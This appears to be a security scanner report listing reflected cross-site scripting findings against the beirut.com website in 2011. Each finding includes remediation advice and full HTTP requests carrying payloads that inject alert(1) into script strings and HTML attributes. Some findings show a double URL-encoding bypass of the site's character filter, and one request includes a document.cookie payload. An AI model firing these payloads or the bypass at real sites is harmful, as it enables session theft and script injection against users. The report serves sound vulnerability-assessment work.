<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=green&indexpage=ThingsToDo/Seminars-and-Lectures33a94"><a>3d75e362c72&listingtype=events.php&Types=9,12"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 87a59'-alert(1)-'78cfba14f3d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo/Seminars-and-Lectures87a59'-alert(1)-'78cfba14f3d/295390016 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:18:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59031
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='ThingsToDo/Seminars-and-Lectures87a59'-alert(1)-'78cfba14f3d'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5dacf"><a>76f239c64cc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo5dacf"><a>76f239c64cc/Theater/706796009 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:56:33 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63279
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=purple&indexpage=ThingsToDo5dacf"><a>76f239c64cc/Theater&listingtype=events.php&Types="> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b4b73'-alert(1)-'5f34dcd1202 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDob4b73'-alert(1)-'5f34dcd1202/Theater/706796009 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:03:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63279
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='ThingsToDob4b73'-alert(1)-'5f34dcd1202/Theater'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4963d"><a>0ce246b6095 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo/Theater4963d"><a>0ce246b6095/706796009 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:08:56 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58618
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=purple&indexpage=ThingsToDo/Theater4963d"><a>0ce246b6095&listingtype=events.php&Types=7"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9dc4b'-alert(1)-'c46cc983fae was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo/Theater9dc4b'-alert(1)-'c46cc983fae/706796009 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:21:04 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58631
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='ThingsToDo/Theater9dc4b'-alert(1)-'c46cc983fae'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bef5d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e34d0fc46928 was submitted in the REST URL parameter 2. This input was echoed as bef5d"><script>alert(1)</script>34d0fc46928 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/ThisWeekbef5d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e34d0fc46928 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:49:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57442
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="calsearchdate" id="calsearchdate" value="thisweekbef5d"><script>alert(1)</script>34d0fc46928"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31d57%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e01c41aa6c91 was submitted in the REST URL parameter 2. This input was echoed as 31d57"><script>alert(1)</script>01c41aa6c91 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Today31d57%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e01c41aa6c91 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:46:20 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57593
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="calsearchdate" id="calsearchdate" value="today31d57"><script>alert(1)</script>01c41aa6c91"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 14a4b'-alert(1)-'a77bc873a07 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo14a4b'-alert(1)-'a77bc873a07/Workshops/7278901598 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:00:20 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63464
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='ThingsToDo14a4b'-alert(1)-'a77bc873a07/Workshops'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cde96"><a>8295435d836 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDocde96"><a>8295435d836/Workshops/7278901598 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:54:31 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63427
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=green&indexpage=ThingsToDocde96"><a>8295435d836/Workshops&listingtype=events.php&Types="> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f61ed"><a>f3139efe8d2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo/Workshopsf61ed"><a>f3139efe8d2/7278901598 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:06:52 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63277
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=magenta&indexpage=ThingsToDo/Workshopsf61ed"><a>f3139efe8d2&listingtype=events.php&Types=10"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6acb'-alert(1)-'0c3b23e60e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo/Workshopsd6acb'-alert(1)-'0c3b23e60e/7278901598 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:16:15 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63272
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='ThingsToDo/Workshopsd6acb'-alert(1)-'0c3b23e60e'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c987"><a>d63d286407e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /chat4c987"><a>d63d286407e HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:15:40 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 45990
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_footer" rel="facebox" href="/submitaListing.php?randstyle=purple&indexpage=chat4c987"><a>d63d286407e&listingtype=chat.php&Types="> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fad6c'-alert(1)-'923a80d881e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /chatfad6c'-alert(1)-'923a80d881e HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:25:37 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 45995
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='chatfad6c'-alert(1)-'923a80d881e'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c1477%2527%253balert%25281%2529%252f%252fa6d5164ce23 was submitted in the REST URL parameter 5. This input was echoed as c1477';alert(1)//a6d5164ce23 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/css/c1477%2527%253balert%25281%2529%252f%252fa6d5164ce23/closelabel.gif HTTP/1.1 Host: www.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=17jkapsd34tdtfv9m4mr30gs23
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 02:29:04 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Index'; var initfacebox=''; var contactid='c1477';alert(1)//a6d5164ce23'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4429e%2527%253balert%25281%2529%252f%252f59f8c7185c5 was submitted in the REST URL parameter 3. This input was echoed as 4429e';alert(1)//59f8c7185c5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
